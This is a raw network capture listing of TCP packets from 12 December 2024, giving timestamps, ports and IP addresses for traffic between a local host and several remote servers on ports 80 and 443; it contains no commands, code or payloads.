Dec 12, 2024 21:50:29.697541952 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.697612047 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.698508978 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.698616028 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.698637009 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.698653936 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.699762106 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.699836969 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.699870110 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.699943066 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.700681925 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.700768948 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.700992107 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.701724052 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.701800108 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.701847076 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.702709913 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.702831984 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.702886105 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.702924967 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.703779936 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.703823090 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.704005957 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.705007076 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.705060959 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.705061913 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.705094099 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.705903053 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.706031084 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.706059933 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.706073046 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.706909895 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.706963062 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.707021952 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.707094908 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.708038092 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.708090067 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.708108902 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.708129883 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.708991051 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.709085941 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.709100962 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.709495068 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.710055113 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.710184097 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.710230112 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.711108923 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.711221933 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.711272001 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.712174892 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.712263107 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.712294102 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.712414980 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.713253975 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.713356972 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.713391066 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.713402987 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.714262009 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.714304924 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.714342117 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.714390039 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.715322971 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.715387106 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.715446949 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.715581894 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.716376066 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.716418982 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.716483116 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.716624975 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.717487097 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.717535973 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.717571020 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.717650890 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.718575954 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.718615055 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.718761921 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.719527960 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.719574928 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.719635010 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.719743013 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.720546007 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.720587969 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.720666885 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.720705032 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.721590996 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.721645117 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:31.478168011 CET	49934	443	192.168.2.6	35.190.72.216
Dec 12, 2024 21:50:31.478230000 CET	443	49934	35.190.72.216	192.168.2.6
Dec 12, 2024 21:50:31.478483915 CET	49934	443	192.168.2.6	35.190.72.216
Dec 12, 2024 21:50:31.482441902 CET	49934	443	192.168.2.6	35.190.72.216
Dec 12, 2024 21:50:31.482470989 CET	443	49934	35.190.72.216	192.168.2.6
Dec 12, 2024 21:50:32.026272058 CET	49913	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:50:32.026674986 CET	49937	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:50:32.147582054 CET	80	49937	185.215.113.43	192.168.2.6
Dec 12, 2024 21:50:32.147599936 CET	80	49913	185.215.113.43	192.168.2.6
Dec 12, 2024 21:50:32.162621021 CET	49913	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:50:32.162667990 CET	49937	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:50:32.193989992 CET	49937	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:50:32.313755989 CET	80	49937	185.215.113.43	192.168.2.6
Dec 12, 2024 21:50:32.736318111 CET	443	49934	35.190.72.216	192.168.2.6
Dec 12, 2024 21:50:32.743329048 CET	443	49934	35.190.72.216	192.168.2.6
Dec 12, 2024 21:50:32.751708984 CET	49934	443	192.168.2.6	35.190.72.216
Dec 12, 2024 21:50:32.931181908 CET	49934	443	192.168.2.6	35.190.72.216
Dec 12, 2024 21:50:32.931221962 CET	443	49934	35.190.72.216	192.168.2.6
Dec 12, 2024 21:50:32.931298971 CET	49934	443	192.168.2.6	35.190.72.216
Dec 12, 2024 21:50:32.931444883 CET	443	49934	35.190.72.216	192.168.2.6
Dec 12, 2024 21:50:32.935755968 CET	49934	443	192.168.2.6	35.190.72.216
Dec 12, 2024 21:50:33.322880983 CET	49941	80	192.168.2.6	185.215.113.206
Dec 12, 2024 21:50:33.442778111 CET	80	49941	185.215.113.206	192.168.2.6
Dec 12, 2024 21:50:33.443856955 CET	49941	80	192.168.2.6	185.215.113.206
Dec 12, 2024 21:50:33.455607891 CET	49941	80	192.168.2.6	185.215.113.206
Dec 12, 2024 21:50:33.497741938 CET	80	49937	185.215.113.43	192.168.2.6
Dec 12, 2024 21:50:33.497937918 CET	49937	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:50:33.499042988 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:33.499203920 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:33.575584888 CET	80	49941	185.215.113.206	192.168.2.6
Dec 12, 2024 21:50:33.620450020 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:33.620568991 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:33.621053934 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:33.621054888 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:33.622483015 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:33.742338896 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:34.792011976 CET	80	49941	185.215.113.206	192.168.2.6
Dec 12, 2024 21:50:34.792633057 CET	49941	80	192.168.2.6	185.215.113.206
Dec 12, 2024 21:50:34.797408104 CET	49941	80	192.168.2.6	185.215.113.206
Dec 12, 2024 21:50:34.919194937 CET	80	49941	185.215.113.206	192.168.2.6
Dec 12, 2024 21:50:34.982032061 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:34.982073069 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:34.982084036 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:34.982429028 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:34.982439041 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:34.982449055 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:34.982460022 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:34.982918978 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:34.982979059 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:34.982990026 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:34.990349054 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.110611916 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.110656977 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.114576101 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.173825026 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.173938990 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.175067902 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.178052902 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.178155899 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.186635017 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.186769009 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.195225000 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.195269108 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.195435047 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.203810930 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.203875065 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.212153912 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.212275028 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.215358973 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.220761061 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.220936060 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.229285002 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.229415894 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.235449076 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.237859964 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.237922907 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.247015953 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.247102976 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.247111082 CET	80	49941	185.215.113.206	192.168.2.6
Dec 12, 2024 21:50:35.248620987 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.248992920 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.249164104 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.249202013 CET	49941	80	192.168.2.6	185.215.113.206
Dec 12, 2024 21:50:35.254945040 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.255120993 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.255588055 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.365756035 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.365838051 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.369998932 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.370012045 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.376775980 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.378793001 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.381635904 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.381725073 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.383686066 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.390170097 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.390255928 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.394947052 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.395004034 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.397130966 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.399426937 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.399559975 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.404030085 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.404139996 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.408613920 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.408802986 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.413244009 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.413326025 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.417076111 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.417851925 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.417932987 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.422624111 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.422730923 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.427042961 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.427171946 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.431674957 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.431785107 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.436526060 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.436606884 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.437237978 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.441195011 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.441257000 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.442464113 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.446104050 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.446257114 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.449281931 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.450802088 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.450901985 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.455452919 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.455465078 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.457873106 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.460480928 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.460624933 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.462857008 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.464782953 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.477818966 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.557601929 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.557676077 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.557960033 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.559838057 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.559941053 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.564222097 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.564362049 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.568541050 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.568655014 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.572998047 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.573122025 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.577272892 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.577369928 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.578254938 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.581362963 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.581387043 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.581454039 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.581532001 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.582375050 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.585505962 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.585602999 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.585889101 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.589706898 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.589785099 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.590768099 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.593660116 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.593811989 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.593909979 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.597204924 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.597326994 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.597769022 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.600946903 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.601108074 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.604726076 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.604819059 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.608689070 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.608803034 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.612313986 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.612394094 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.615797997 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.615915060 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.619513988 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.619692087 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.622764111 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.622764111 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.623415947 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.623428106 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.627062082 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.627161980 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.627413034 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.630633116 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.630738020 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.634414911 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.634465933 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.638170004 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.638289928 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.641838074 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.641848087 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.641928911 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.643511057 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.645606041 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.645658016 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.649318933 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.649456978 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.652983904 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.653111935 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.656802893 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.657078981 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.660765886 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.660856962 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.663160086 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.663160086 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.664319992 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.664450884 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.665251017 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.668411016 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.668560028 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.672009945 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.672168016 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.676208973 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.676439047 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.679307938 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.680134058 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.680241108 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.684447050 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.684665918 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.688096046 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.699569941 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.700388908 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.749723911 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.749793053 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.751246929 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.751393080 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.754275084 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.754388094 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.757222891 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.757363081 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.760265112 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.760312080 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.762259007 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.762259007 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.763307095 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.763408899 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.765227079 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.766212940 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.766311884 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.766782045 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.769352913 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.769412041 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.769434929 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.769496918 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.772116899 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.772169113 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.772273064 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.772325039 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.774710894 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.774765968 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.774848938 CET	80	49942	185.215.113.16	192.168.2.6
